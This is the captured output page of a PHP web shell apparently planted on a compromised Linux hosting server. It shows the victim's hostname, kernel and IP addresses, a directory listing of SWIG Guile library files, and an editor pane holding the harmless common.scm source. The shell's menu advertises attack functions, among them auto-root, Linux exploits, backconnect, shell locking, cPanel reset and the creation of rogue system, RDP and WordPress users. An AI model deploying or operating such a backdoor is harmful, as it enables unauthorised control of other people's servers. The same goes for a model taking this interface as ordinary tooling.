Linux vps-4302913.novaexata.com.br 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
Apache
: 162.214.88.42 | : 216.73.216.156
166 Domain
7.3.33
wwnova
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
swig /
2.0.10 /
guile /
[ HOME SHELL ]
Name
Size
Permission
Action
common.scm
2.33
KB
-rw-r--r--
cplusplus.i
755
B
-rw-r--r--
guile.i
1.05
KB
-rw-r--r--
guile_scm.swg
1.19
KB
-rw-r--r--
guile_scm_run.swg
14.06
KB
-rw-r--r--
guilemain.i
1.03
KB
-rw-r--r--
interpreter.i
1.39
KB
-rw-r--r--
list-vector.i
17.81
KB
-rw-r--r--
pointer-in-out.i
3.25
KB
-rw-r--r--
ports.i
1.3
KB
-rw-r--r--
std_common.i
578
B
-rw-r--r--
std_deque.i
28
B
-rw-r--r--
std_except.i
182
B
-rw-r--r--
std_map.i
59.74
KB
-rw-r--r--
std_pair.i
39.82
KB
-rw-r--r--
std_string.i
2.28
KB
-rw-r--r--
std_vector.i
16.5
KB
-rw-r--r--
stl.i
357
B
-rw-r--r--
swigrun.i
965
B
-rw-r--r--
typemaps.i
14.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : common.scm
;;;************************************************************************ ;;;*common.scm ;;;* ;;;* This file contains generic SWIG GOOPS classes for generated ;;;* GOOPS file support ;;;************************************************************************ (define-module (Swig swigrun)) (define-module (Swig common) #:use-module (oop goops) #:use-module (Swig swigrun)) (define-class <swig-metaclass> (<class>) (new-function #:init-value #f)) (define-method (initialize (class <swig-metaclass>) initargs) (slot-set! class 'new-function (get-keyword #:new-function initargs #f)) (next-method)) (define-class <swig> () (swig-smob #:init-value #f) #:metaclass <swig-metaclass> ) (define-method (initialize (obj <swig>) initargs) (next-method) (slot-set! obj 'swig-smob (let ((arg (get-keyword #:init-smob initargs #f))) (if arg arg (let ((ret (apply (slot-ref (class-of obj) 'new-function) (get-keyword #:args initargs '())))) ;; if the class is registered with runtime environment, ;; new-Function will return a <swig> goops class. In that case, extract the smob ;; from that goops class and set it as the current smob. (if (slot-exists? ret 'swig-smob) (slot-ref ret 'swig-smob) ret)))))) (define (display-address o file) (display (number->string (object-address o) 16) file)) (define (display-pointer-address o file) ;; Don't fail if the function SWIG-PointerAddress is not present. (let ((address (false-if-exception (SWIG-PointerAddress o)))) (if address (begin (display " @ " file) (display (number->string address 16) file))))) (define-method (write (o <swig>) file) ;; We display _two_ addresses to show the object's identity: ;; * first the address of the GOOPS proxy object, ;; * second the pointer address. ;; The reason is that proxy objects are created and discarded on the ;; fly, so different proxy objects for the same C object will appear. (let ((class (class-of o))) (if (slot-bound? class 'name) (begin (display "#<" file) (display (class-name class) file) (display #\space file) (display-address o file) (display-pointer-address o file) (display ">" file)) (next-method)))) (export <swig-metaclass> <swig>) ;;; common.scm ends here
Close